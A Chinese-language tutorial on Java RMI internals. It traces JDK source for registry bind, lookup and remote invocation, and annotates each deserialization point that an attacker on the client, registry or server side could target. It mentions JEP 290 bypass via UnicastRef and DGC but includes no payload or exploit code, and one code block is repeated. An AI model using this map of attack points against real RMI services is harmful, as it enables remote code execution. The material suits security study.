如何理解Java反序列化過程中的RMI JRMP以及JNDI多種利用方式

如何理解Java反序列化過程中的RMI JRMP以及JNDI多種利用方式，很多新手對此不是很清楚，為了幫助大家解決這個難題，下面小編將為大家詳細講解，有這方面需求的人可以來學習下，希望你能有所收獲。

Java反序列化過程中 RMI JRMP 以及JNDI多種利用方式詳解

前言

Java反序列化漏洞一直都是Java Web漏洞中比較難以理解的點，尤其是碰到了RMI和JNDI種種概念時，就更加的難以理解了。筆者根據網上各類相關文章中的講解，再結合自己對RMI JRMP以及JNDI等概念的理解，對 RMI客戶端、服務端以及rmiregistry之間的關系，和三方之間的多種攻擊方式進行了詳細的介紹，希望能對各位讀者學習Java Web安全有所幫助。

RPC框架原理簡介

首先講這些之前要明白一個概念，所有編程中的高級概念，看似很高級的一些功能什么的，都是建立于最基礎的代碼之上的，再高級也他離不開JDK。

例如此次涉及到的分布式的概念，就是通過java的socket，序列化，反序列化和反射來實現的。

舉例說明 客戶端要調用服務端的A對象的A方法，客戶端會生成A對象的代理對象，代理對象里通過用Socket與服務端建立聯系，然后將A方法以及調用A方法是要傳入的參數序列化好通過socket傳輸給服務端，服務端接受反序列化接受到的數據，然后通過反射調用A對象的A方法并將參數傳入，最終將執行結果返回給客戶端，給人一種客戶端在本地調用了服務端的A對象的A方法的錯覺。

RMI流程源碼分析

到后來JAVA RMI這塊也不例外 但是為了方便更靈活的調用發展成了以下的樣子

在客戶端(遠程方法調用者)和服務端(遠程方法提供者)之間又多了一個丙方也就所謂的Registry也就是注冊中心。

啟動這個注冊中心的代碼非常簡單，如下所示

這個Registry是一個單獨的程序 路徑位于/Library/Java/JavaVirtualMachines/jdk1.8.0_221.jdk/Contents/Home/bin/rmiregistry

剛剛所示的啟動RMIRegistry的代碼，也就是調用了這個rmiregistry可執行程序而已。

簡單follow一下代碼

public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}

public RegistryImpl(final int var1) throws RemoteException {
this.bindings = new Hashtable(101);
if (var1 == 1099 && System.getSecurityManager() != null) {
try {
......
} else {
LiveRef var2 = new LiveRef(id, var1);
this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter));
}

}

簡單follow一下代碼

public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}

public RegistryImpl(final int var1) throws RemoteException {
this.bindings = new Hashtable(101);
if (var1 == 1099 && System.getSecurityManager() != null) {
try {
......
} else {
LiveRef var2 = new LiveRef(id, var1);
this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter));
}

}

很簡單 沒啥東西 liveRef里面就四個屬性

public class LiveRef implements Cloneable {
//指向一個TCPEndpoint對象，指定的Registry的ip地址和端口號
private final Endpoint ep;
//一個目前不知道做什么用的id號
private final ObjID id;
//為null
private transient Channel ch;
//為true
private final boolean isLocal;
......
}

this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter));這段里面有個參數RegistryImpl::registryFilter這個東西就是jdk1.8.121版本以后添加的registryFilter專門用來校驗傳遞進來的反序列化的類的，不在反序列化白名單內的類就不準進行反序列化操作，具體的方法代碼如下

private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}

if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
//可以很清楚的看到白名單的范圍就下面這九個類型可以被反序列化
return String.class != var2 
&& !Number.class.isAssignableFrom(var2) 
&& !Remote.class.isAssignableFrom(var2) 
&& !Proxy.class.isAssignableFrom(var2) 
&& !UnicastRef.class.isAssignableFrom(var2) 
&& !RMIClientSocketFactory.class.isAssignableFrom(var2) 
&& !RMIServerSocketFactory.class.isAssignableFrom(var2) 
&& !ActivationID.class.isAssignableFrom(var2) 
&& !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}

這個白名單先暫且放一放，后面用到了再說。執行完new UnicastServerRef(var2, RegistryImpl::registryFilter)后簡單看一下UnicastServerRef對象里的內容

setup方法內容

private void setup(UnicastServerRef var1) throws RemoteException {
this.ref = var1;
var1.exportObject(this, (Object)null, true);
}

UnicastServerRef.exportObject()方法內容

public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
//獲取RegistryImpl的class對象
Class var4 = var1.getClass();

Remote var5;
try {
//Util.createProxy返回的值為RegistryImpl_Stub,這個stub在后面會進行講解
var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
} catch (IllegalArgumentException var7) {
throw new ExportException("remote object implements illegal remote interface", var7);
}
//RegistryImpl_Stub繼承自RemoteStub判斷成功
if (var5 instanceof RemoteStub) {
//為Skeleton賦值，通過this.skel = Util.createSkeleton(var1)來進行賦值，最終Util.createSkeleton(var1)返回的結果為一個RegistryImpl_Skel對象，這個Skeleton后面也會講
this.setSkeleton(var1);
}
//實例化一個Target對象
Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
//做一個綁定這個target對象里有stub的相關信息
this.ref.exportObject(var6);
this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
//最終LocateRegistry.createRegistry(1099)會返回一個RegistryImpl_Stub對象
//同時啟動rmiregistry,并監聽指定端口
return var5;
}

很好這樣啟動rmiregistry的過程就簡單分析完畢了，但是此時有一個問題，就是為什么會需要rmiregistry這么一個注冊機制？客戶端和服務端之間直接通過Socket互相調用不就好了么？就像馬士兵老師的代碼那樣。很明顯那個只是簡單的講解原理的用例，實際生產環境中肯定不會這么簡單。

首先看下面這個RMI簡單的流程圖

在考慮為什么需要這個rmiregistry之前，先思考一個比較尷尬的問題。就是客戶端(遠程方法調用方)要想調用服務端(遠程放方法服務方)的話，客戶端要怎樣才能知道服務端用來提供遠程方法調用服務的ip地址和端口號？你說直接事先商量好然后寫死在代碼里面？可是服務方提供的端口號都是隨機的啊，總不能我服務端每增加一個新的遠程方法提供類就手動指定一個新的端口號吧？

所以現在就很尷尬，陷入了一個死循環，客戶端想要調用服務端的方法客戶端就需要先知道服務端的地址和對應的端口號，但是客戶端又不知道因為沒人告訴他。。。所以就相當的頭疼。

此時就有了rmiregistry這么一個東西，我們先把rmiregistry稱為丙方，功能很簡單，服務端每新提供一個遠程方法，都會來丙方(rmiregistry)這里注冊一下，寫明提供該方法遠程條用服務的ip地址以及所對應的端口以及別的一些信息。

如下面的代碼所示，首先我們如果要寫一個提供遠程方法調用服務的類，首先先寫一個接口并繼承Remote接口，

public interface IHello extends Remote {
//sayHello就是客戶端要調用的方法，需要拋出RemoteException
public String sayHello()throws RemoteException;
}

然后寫一個類來實現這個接口

package com.rmiTest.IHelloImpl;

import com.rmiTest.IHello;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// 該類可以選擇繼承UnicastRemoteObject，也可以通過下面注釋中的這種形式，其實本質都一樣都是調用了
// exportObject()方法
// Remote remote = UnicastRemoteObject.exportObject(new HelloImpl());
// LocateRegistry.getRegistry("127.0.0.1",1099).bind("hello",remote);
public class HelloImpl extends UnicastRemoteObject implements IHello {

public HelloImpl() throws RemoteException {

}

@Override
public String sayHello() {
System.out.println("hello");
return "hello";
}
}

最后將這個HelloImpl類注冊到也可以說是綁定到rmiregistry也就是丙方中

package com.rmiTest.provider;

import com.chouXiangTest.impl.HelloServiceImpl;
import com.rmiTest.IHelloImpl.HelloImpl;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RMIProvider {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
LocateRegistry.getRegistry("127.0.0.1",1099).bind("hello",new HelloImpl());
}
}

首先我們先跟一下HelloImpl這個遠程對象的實例化過程，首先HelloImpl是UnicastRemoteObject的子類，所以HelloImpl在實例化時會先調用UnicastRemoteObject類的構造方法，其構造方法內容如下

protected UnicastRemoteObject(int port) throws RemoteException
{
//這個prot參數是用來指定遠程方法對應的端口的，默認情況下是隨機的，也可以手動傳入參數來指定
this.port = port;
exportObject((Remote) this, port);
}

發現其會調用一個exportObject方法，繼續跟進該方法

private static Remote exportObject(Remote obj, UnicastServerRef sref)
throws RemoteException
{
// if obj extends UnicastRemoteObject, set its ref.
if (obj instanceof UnicastRemoteObject) {
((UnicastRemoteObject) obj).ref = sref;
}
return sref.exportObject(obj, null, false);
}

繼續跟進UnicastServerRef.exportObject方法，其內部代碼如下

public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
//獲取HelloImpl的class對象  
Class var4 = var1.getClass();

Remote var5;
try {
//這一步就是創建一個proxy對象，該proxy對象是實現了IHello接口，使用的Handler是RemoteObjectInvocationHandler
var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
} catch (IllegalArgumentException var7) {
throw new ExportException("remote object implements illegal remote interface", var7);
}

if (var5 instanceof RemoteStub) {
this.setSkeleton(var1);
}

Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
this.ref.exportObject(var6);
this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
return var5;
}

其中Util.createProxy()方法返回的結果如下圖所示

繼續跟入this.ref.exportObject(var6)，經過一系列的嵌套調用，最終來到了TCPTransport的exportObject方法，該方法內容如下

public void exportObject(Target var1) throws RemoteException {
synchronized(this) {
//為遠程方法開方一個端口
this.listen();
++this.exportCount;
}

boolean var2 = false;
boolean var12 = false;

try {
var12 = true;
super.exportObject(var1);
var2 = true;
var12 = false;
} finally {
if (var12) {
if (!var2) {
synchronized(this) {
this.decrementExportCount();
}
}

}
}

此處跟進this.listen()方法，

private void listen() throws RemoteException {
assert Thread.holdsLock(this);
//獲取TCPEndpoint對象
TCPEndpoint var1 = this.getEndpoint();
//從TCPEndpoint對象中獲取端口號，默認情況下是為0
int var2 = var1.getPort();
if (this.server == null) {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " + var2 + ") create server socket");
}

try {
//此方法執行完成后會隨機分配一個端口號
this.server = var1.newServerSocket();
Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new TCPTransport.AcceptLoop(this.server), "TCP Accept-" + var2, true));
var3.start();
} catch (BindException var4) {
throw new ExportException("Port already in use: " + var2, var4);
} catch (IOException var5) {
throw new ExportException("Listen failed on port: " + var2, var5);
}
} else {
SecurityManager var6 = System.getSecurityManager();
if (var6 != null) {
var6.checkListen(var2);
}
}
}

經由以上分析，我們可知每創建一個遠程方法對象，程序都會為其創建一個獨立的線程，并為其指定一個端口號。

在分析完了遠程方法提供對象實例化的過程后，也簡單跟一下這個getRegistry()和bind()方法吧

首先是getRegistry()代碼如下

public static Registry getRegistry(String host, int port,
RMIClientSocketFactory csf)
throws RemoteException
{
Registry registry = null;

if (port <= 0)
port = Registry.REGISTRY_PORT;

if (host == null || host.length() == 0) {
// If host is blank (as returned by "file:" URL in 1.0.2 used in
// java.rmi.Naming), try to convert to real local host name so
// that the RegistryImpl's checkAccess will not fail.
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
// If that failed, at least try "" (localhost) anyway...
host = "";
}
}

/*
* Create a proxy for the registry with the given host, port, and
* client socket factory.  If the supplied client socket factory is
* null, then the ref type is a UnicastRef, otherwise the ref type
* is a UnicastRef2.  If the property
* java.rmi.server.ignoreStubClasses is true, then the proxy
* returned is an instance of a dynamic proxy class that implements
* the Registry interface; otherwise the proxy returned is an
* instance of the pregenerated stub class for RegistryImpl.
**/
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}

關鍵點在在于后面這幾行代碼

LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

return (Registry) Util.createProxy(RegistryImpl.class, ref, false);

和LocateRegistry.createRegistry()有那么點相似

最關鍵的在于下面這行

//幾乎一模一樣 傳遞進去的第一個參數都是RegistryImpl.class，第二個參數
//第二個參數是同樣的UnicastRef里面又包含了一個同樣的LiveRef，以及最后同樣的false
return (Registry) Util.createProxy(RegistryImpl.class, ref, false);

所以說從源碼上分析 LocateRegistry.getRegistry()和LocateRegistry.createRegistry()最后的返回結果應該是一樣的，我們看一下結果

果然不出所料返回的同樣都是RegistryImpl_Stub對象，只不過LocateRegistry.getRegistry()執行完不會在本地再開一個監聽端口罷了。

好了 現在我們有了一個RegistryImpl_Stub對象，我們要用它來將我們的HelloImpl注冊到rmiregistry中，用到的是RegistryImpl_Stub.bind()方法。

ok，hold on 我們先來了解一下這個RegistryImpl_Stub首先該類是繼承了RemoteStub，并實現了Registry, Remote接口(我們的HelloImpl也實現了這個接口)，

該類的方法不多，就下面截圖里這么些。沒必要全都看，先看bind就行。

bind方法詳細代碼如下

//var1為字符串“hello”，var2就是咱們的HelloImpl對象
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
try {
//這個就不細跟了，想想也知道是用來進行TCP通信的，里面存了rmiregistry的地址信息，具體怎么實現沒必要整這么細，第三個參數0關乎到rmiregistry的RegistryImpl_Skel的dispathc方法里的switch究竟case哪一個。
RemoteCall var3 = this.ref.newCall(this, operations, 0, 4905912898345647071L);

try {
//創建一個ConnectionOutputStream對象
ObjectOutput var4 = var3.getOutputStream();
//序列化字符串“hello”
var4.writeObject(var1);
//序列化HelloImpl對象
var4.writeObject(var2);

} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}
//向rmiregistry發送序列化數據
this.ref.invoke(var3);
this.ref.done(var3);

} catch (RuntimeException var6) {
throw var6;
} catch (RemoteException var7) {
throw var7;
} catch (AlreadyBoundException var8) {
throw var8;
} catch (Exception var9) {
throw new UnexpectedException("undeclared checked exception", var9);
}
}

這里需要注意下，這里向rmiregistry發送的是序列化信息，既然一方有序列化的行為那么另一方必然會有反序列化的行為。

到此為止服務端也就是遠程方法服務方這邊的操作暫且告一段落，因為此時我們的HelloImpl已經注冊到了rmiregistry中。

接下來我們返回rmiregistry的代碼，來看一看這邊的情況。

之前跟蹤rmiregistry這邊的LocateRegistry.createRegistry()這段代碼時有經過這樣一行代碼

//RegistryImpl_Stub繼承自RemoteStub判斷成功
if (var5 instanceof RemoteStub) {
//為Skeleton賦值，通過this.skel = Util.createSkeleton(var1)來進行賦值，最終Util.createSkeleton(var1)返回的結果為一個RegistryImpl_Skel對象，這個Skeleton后面也會講
this.setSkeleton(var1);
}

這個Skeleton就是前面流程里面的骨架，當執行完上面這兩步的時候，UnicastServerRef的skel屬性被賦值為一個RegistryImpl_Skel對象

我們來看一下這個RegistryImpl_Skel的相關信息，首先該類實現了Skeleton接口，該類的方法很少，如下圖所示

其中最關鍵的方法就是dispatch方法，我們看下在Skeleton接口中對該方法的一個描述

/**
* Unmarshals arguments, calls the actual remote object implementation,
* and marshals the return value or any exception.
* 解封裝參數，調用實際遠程對象實現，并封裝返回值或任何異常。
* @param obj remote implementation to dispatch call to
* @param theCall object representing remote call
* @param opnum operation number
* @param hash stub/skeleton interface hash
* @exception java.lang.Exception if a general exception occurs.
* @since JDK1.1
* @deprecated no replacement
*/
@Deprecated
void dispatch(Remote obj, RemoteCall theCall, int opnum, long hash)
throws Exception;

不難理解該方法就是對傳入的遠程調用信息進行分派調度的。其部分代碼如下。

//之前在服務端時進行LocateRegistry.getRegistry().bind()操作時
// RemoteCall var3 = this.ref.newCall(this, operations, 0, 4905912898345647071L);
//在這一步中封裝了四個參數 有三個在這里用到了 var3為0，var2為即為StreamRemoteCall，封裝有“hello”字符串和HelloImpl對象的序列化信息。
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var3 < 0) {
if (var4 == 7583982177005850366L) {
var3 = 0;
} else if (var4 == 2571371476350237748L) {
var3 = 1;
} else if (var4 == -7538657168040752697L) {
var3 = 2;
} else if (var4 == -8381844669958460146L) {
var3 = 3;
} else {
if (var4 != 7305022919901907578L) {
throw new UnmarshalException("invalid method hash");
}

var3 = 4;
}
} else if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
}
//這個RegistryImpl會在rmiregistry運行期間一直存在，稍后會仔細講解
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
ObjectInput var8;
ObjectInput var9;
Remote var80;
switch(var3) {
//var3的值為0，自然是case0
case 0:
RegistryImpl.checkAccess("Registry.bind");

try {
//獲取輸入流
var9 = var2.getInputStream();
//反序列化“hello”字符串
var7 = (String)var9.readObject();
//這個位置本來是屬于反序列化出來的“HelloImpl”對象的，但是最終結果得到的是一個Proxy對像
//這個很關鍵，這個Proxy對象即所為的Stub(存根)，客戶端就是通過這個Stub來知道服務端的地址和端口號從                而進行通信的。
//這里的反序列化點很明顯是我們可以利用的，通過RMI服務端執行bind，我們就可以攻擊rmiregistry注              冊中心，導致其反序列化RCE
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var77) {
throw new UnmarshalException("error unmarshalling arguments", var77);
} finally {
var2.releaseInputStream();
}
//RegistryImpl對象有一個binding屬性，是一個HashMap，這個HashMap里存儲了所有注冊了的遠程調用方法的方法名，和其對應的stub。
var6.bind(var7, var80);
......
}

}

我們來看一個這個binding屬性里的詳細信息

從這里我們明白了rmiregistry的本質就是一個HashMap，所有注冊過的遠程方法以鍵值對的形式存放在這里，當客戶端來查詢時，rmiregistry將對應的鍵值對中的Proxy返回給客戶端，這樣客戶端就知道了服務端的地址和所對應的端口號，就可以進行通信了。

這其中有一個比較關鍵的類，在后續的繞過高版本JDK JEP290的白名單是會用到，就是UnicastRef，詳觀察不難發現該對象中存有rmi服務端的ip地址以及對應遠程方法的端口號，該類在客戶端、rmiregistry、以及服務端的通信中都起到了非常重要的作用，UnicastRef中有一個newCall方法 具體代碼如下。

public RemoteCall newCall(RemoteObject var1, Operation[] var2, int var3, long var4) throws RemoteException {
clientRefLog.log(Log.BRIEF, "get connection");
Connection var6 = this.ref.getChannel().newConnection();

try {
clientRefLog.log(Log.VERBOSE, "create call context");
if (clientCallLog.isLoggable(Log.VERBOSE)) {
this.logClientCall(var1, var2[var3]);
}

StreamRemoteCall var7 = new StreamRemoteCall(var6, this.ref.getObjID(), var3, var4);

try {
this.marshalCustomCallData(var7.getOutputStream());
} catch (IOException var9) {
throw new MarshalException("error marshaling custom call data");
}

return var7;
} catch (RemoteException var10) {
this.ref.getChannel().free(var6, false);
throw var10;
}
}

該方法會在java的DGC(分布式垃圾回收機制)中被調用，DGC則是我們繞過高版本JDK反序列化限制的一個重要的環節

首先客戶端的代碼

package com.rmiTest.customer;

import com.rmiTest.IHello;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RMICustomer {
public static void main(String[] args) throws RemoteException, NotBoundException {
IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
System.out.println(hello.sayHello());
}
}

LocateRegistry.getRegistry()沒必要再分析一遍了，直接看lookup方法，部分代碼如下

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
//可以看到這次傳遞的第三個參數就不是0而是2了，同樣的返回一個StreamRemoteCall對象
RemoteCall var2 = this.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
//同樣的生成一個ConnectionOutputStream對象
ObjectOutput var3 = var2.getOutputStream();
//序列化“hello”字符串
var3.writeObject(var1);
} catch (IOException var17) {
throw new MarshalException("error marshalling arguments", var17);
}
//和rmiregistry進行通信查詢
this.ref.invoke(var2);

Remote var22;
try {
//獲取rmiregistry返回的輸入流
ObjectInput var4 = var2.getInputStream();
//反序列化返回的Stub
//同樣在反序列化rmiregistry返回的Stub時這個點我們也可以利用lookup方法，理論上，我們可以在客             戶端用它去主動攻擊RMI Registry，也能通過RMI Registry去被動攻擊客戶端
var22 = (Remote)var4.readObject();
......
} finally {
this.ref.done(var2);
}
return var22;
......
}

這里又提到了Stub我們來看看其反序列化完成后是什么樣的吧

和之前在rmiregistry中看到的那個HashMap中的值一模一樣，這下客戶端就知道服務端的地址和端口號了，通過這些信息就可以和服務端進行通信了。

不過在此之前在看一下rmiregistry是怎么處理客戶端的查詢信息的。

//為什么走case2 這里就不再重提了
case 2:
try {
//獲取客戶端傳來的輸入流
var8 = var2.getInputStream();
//反序列化字符串“hello”
//同樣在反序列化客戶端傳來的查詢數據時，這個點我們也可以利用lookup方法，理論上，我們可以在客              戶端用它去主動攻擊RMI Registry，也能通過RMI Registry去被動攻擊客戶端
//盡管lookup時客戶端似乎只能傳遞String類型，但是還是那句話，只要后臺不做限制，客戶端的東西皆可控
var7 = (String)var8.readObject();
} catch (ClassNotFoundException | IOException var73) {
throw new UnmarshalException("error unmarshalling arguments", var73);
} finally {
var2.releaseInputStream();
}
//調用RegistryImpl.lookup方法，返回的查詢結果就是hello所對應的那個Proxy對象
var80 = var6.lookup(var7);

try {
//實例化一個輸出流
ObjectOutput var82 = var2.getResultStream(true);
//序列化Proxy對象
var82.writeObject(var80);
break;
} catch (IOException var72) {
throw new MarshalException("error marshalling return", var72);
}

如此這般，這般如此，rmiregistry這塊處理客戶端的查詢信息的部分就簡單分析完了。

然后回到客戶端這里

//返回一個實現了IHello接口的Proxy對象
IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
//表面上時執行sayHello方法，實際上執行的是Proxy對象的Invoke方法
System.out.println(hello.sayHello());

貼一下調用鏈

可以看到核心內容都在UnicastRef的Invoke方法, 下面是該方法的部分代碼

//var1 為當前的Proxy對象，
public Object invoke(Remote var1, Method var2, Object[] var3, long var4) throws Exception {

......
//創建一個鏈接對象
Connection var6 = this.ref.getChannel().newConnection();
StreamRemoteCall var7 = null;
boolean var8 = true;
boolean var9 = false;

Object var13;
try {
......
//和getRegistry()與creatRegistry()一樣 ，第三個參數為-1，但是這次調用的并不是                                 RegistryImpl_Skel.bind方法    
var7 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4);

Object var11;
try {
//獲取輸出流
ObjectOutput var10 = var7.getOutputStream();
//雖然沒看里面的具體實現但是猜也能猜得到里面在序列化了一些東西
this.marshalCustomCallData(var10);
//獲取要傳遞的參數類型，可是這次我們沒傳參數所以就沒有
var11 = var2.getParameterTypes();
//如果傳遞的有參數的話會執行下面這個for循環，把參數相關的信息也序列化到里面
for(int var12 = 0; var12 < ((Object[])var11).length; ++var12) {
//由于該方法會將調用的遠程方法的參數進行反序列化，由此此處也可以進行利用，可以稱為客戶端對服務端進行反序列化攻擊的點
//也就是說，在這個遠程調用的過程中，我們可以想辦法，把參數的序列化數據替換成惡意序列化數據，我們就能攻擊服務端，而服務端，也能替換其返回的序列化數據為惡意序列化數據，進而被動攻擊客戶端。
marshalValue((Class)((Object[])var11)[var12], var3[var12], var10);
}
......

}
//像服務端發送序列化的數據
var7.executeCall();

try {
//獲取該遠程方法的返回值類型
Class var46 = var2.getReturnType();

......
//獲取輸入流  
var11 = var7.getInputStream();
//解封裝參數將返回值賦值給var46,也就是把返回的結果字符串“hello”賦值給var47
//既然將返回的參數還原了，那么其中必定包含了反序列化，由此此處可以是服務端對客戶端進行反序列化攻擊的             點
//也就是說，在這個遠程調用的過程中，我們可以想辦法，把參數的序列化數據替換成惡意序列化數據，我們就能攻擊服務端，而服務端，也能替換其返回的序列化數據為惡意序列化數據，進而被動攻擊客戶端。
Object var47 = unmarshalValue(var46, (ObjectInput)var11);
var9 = true;
clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
//釋放鏈接通道
this.ref.getChannel().free(var6, true);
var13 = var47;
} catch (ClassNotFoundException | IOException var40) {

......

} finally {
try {
var7.done();
} catch (IOException var38) {
......
}

}
} catch (RuntimeException var42) {

......

}
//最終返回var46的值
return var13;
}

ok客戶端這邊的處理過程到此就已經完畢了,接下來跟到服務端看一看。

根據調用鏈信息，先來看UnicastServerRef.dispatch()方法

//Var1為實現了Remote接口的HelloImpl對象，Var2為客戶端傳來的StreamRemoteCall對象該對象里有ConnectionInputStream，也就是說遠程調用的參數都在這里面存著
public void dispatch(Remote var1, RemoteCall var2) throws IOException {
try {
int var3;
ObjectInput var41;
try {
//獲取輸入流
var41 = var2.getInputStream();
//讀出來-1
var3 = var41.readInt();
} catch (Exception var38) {
throw new UnmarshalException("error unmarshalling call header", var38);
}

if (this.skel != null) {
this.oldDispatch(var1, var2, var3);
return;
}

if (var3 >= 0) {
throw new UnmarshalException("skeleton class not found but required for client version");
}

long var4;
try {
var4 = var41.readLong();
} catch (Exception var37) {
throw new UnmarshalException("error unmarshalling call header", var37);
}

MarshalInputStream var7 = (MarshalInputStream)var41;
var7.skipDefaultResolveClass();
Method var42 = (Method)this.hashToMethod_Map.get(var4);
if (var42 == null) {
throw new UnmarshalException("unrecognized method hash: method not supported by remote object");
}

this.logCall(var1, var42);
Object[] var9 = null;

try {
this.unmarshalCustomCallData(var41);
//從 ConnectionInputStream里反序列化出遠程調用的參數
//這里就是客戶端可以用來攻擊服務端的點，因為這里對遠程調用方法的參數進行了反序列化，由此我們可以傳遞              惡意的反序列化數據進來
var9 = this.unmarshalParameters(var1, var42, var7);
} catch (AccessException var34) {
((StreamRemoteCall)var2).discardPendingRefs();
throw var34;
} catch (ClassNotFoundException | IOException var35) {
((StreamRemoteCall)var2).discardPendingRefs();
throw new UnmarshalException("error unmarshalling arguments", var35);
} finally {
var2.releaseInputStream();
}

Object var10;
try {
//反射調用對應的遠程方法
var10 = var42.invoke(var1, var9);
} catch (InvocationTargetException var33) {
throw var33.getTargetException();
}

try {
//獲取輸出流
ObjectOutput var11 = var2.getResultStream(true);
//獲取返回值類型
Class var12 = var42.getReturnType();
if (var12 != Void.TYPE) {
//序列化返回值等信息，同樣也可以序列化一些惡意類信息
marshalValue(var12, var10, var11);
}
} catch (IOException var32) {
throw new MarshalException("error marshalling return", var32);
}
} catch (Throwable var39) {
Object var6 = var39;
this.logCallException(var39);
ObjectOutput var8 = var2.getResultStream(false);
if (var39 instanceof Error) {
var6 = new ServerError("Error occurred in server thread", (Error)var39);
} else if (var39 instanceof RemoteException) {
var6 = new ServerException("RemoteException occurred in server thread", (Exception)var39);
}

if (suppressStackTraces) {
clearStackTraces((Throwable)var6);
}

var8.writeObject(var6);
if (var39 instanceof AccessException) {
throw new IOException("Connection is not reusable", var39);
}
} finally {
var2.releaseInputStream();
var2.releaseOutputStream();
}

}

好了服務端這邊也簡單的分析完了，我們來總結一下，在這些過程中可以利用的反序列化點。

首先是服務端調用bind方法像rmiregistry注冊遠程方法的信息時，在執行的過程中，調用了RegistryImpl_Skel.dispatch方法，反序列化服務端傳來的數據，此為一個利用點，我們可以修改傳遞的數據從而達到從服務端對rmiregistry進行反序列化攻擊

var9 = var2.getInputStream();
//反序列化“hello”字符串
var7 = (String)var9.readObject();
//這個位置本來是屬于反序列化出來的“HelloImpl”對象的，但是最終結果得到的是一個Proxy對像
//這個很關鍵，這個Proxy對象即所為的Stub(存根)，客戶端就是通過這個Stub來知道服務端的地址和端口號從                而進行通信的。
//這里的反序列化點很明顯是我們可以利用的，通過RMI服務端執行bind，我們就可以攻擊rmiregistry注              冊中心，導致其反序列化RCE
var80 = (Remote)var9.readObject();

接下來就是客戶端調用lookup方法向rmiregistry進行遠程方法信息查詢時, rmiregistry反序列化了客戶端傳來的數據，這樣以來我們就在客戶端像rmiregistry查詢時來構造惡意的反序列化數據。

//獲取客戶端傳來的輸入流
var8 = var2.getInputStream();
//反序列化字符串“hello”
//同樣在反序列化客戶端傳來的查詢數據時，這個點我們也可以利用lookup方法，理論上，我們可以在客              戶端用它去主動攻擊RMI Registry，也能通過RMI Registry去被動攻擊客戶端
//盡管lookup時客戶端似乎只能傳遞String類型，但是還是那句話，只要后臺不做限制，客戶端的東西皆可控
var7 = (String)var8.readObject();

然后就是客戶端處理rmiregistry返回的數據時，我們已知正常情況下rmiregistry回返回一個實現了Remote的Proxy對象，但是我們也可以利用rmiregistry返回一些惡意的反序列化對象給客戶端，從而進行反序列化攻擊。

//獲取rmiregistry返回的輸入流
ObjectInput var4 = var2.getInputStream();
//反序列化返回的Stub
//同樣在反序列化rmiregistry返回的Stub時這個點我們也可以利用lookup方法，理論上，我們可以在客             戶端用它去主動攻擊RMI Registry，也能通過RMI Registry去被動攻擊客戶端
var22 = (Remote)var4.readObject();

接下來就該客戶端和服務端之間的通信了，同理客戶端通過rmiregistry返回的那個Proxy對象，也就是所謂的Stub和服務端進行通信，首先服務端接受到數據以后，會對客戶端傳來的所需要遠程方法處理的參數進行反序列化，這里又是一個可以利用的點，因為我們從客戶端的角度，這個只要后臺不做檢驗，我們就可控

this.unmarshalCustomCallData(var41);
//從 ConnectionInputStream里反序列化出遠程調用的參數
//這里就是客戶端可以用來攻擊服務端的點，因為這里對遠程調用方法的參數進行了反序列化，由此我們可以傳遞              惡意的反序列化數據進來
var9 = this.unmarshalParameters(var1, var42, var7);

最后就是服務端處理完成后，將結果返回給客戶端，同理，這個范圍值從服務端的角度來說，也是可控的，甲乙雙方可以進行互相攻擊。

//獲取輸入流  
var11 = var7.getInputStream();
//解封裝參數將返回值賦值給var46,也就是把返回的結果字符串“hello”賦值給var47
//既然將返回的參數還原了，那么其中必定包含了反序列化，由此此處可以是服務端對客戶端進行反序列化攻擊的             點
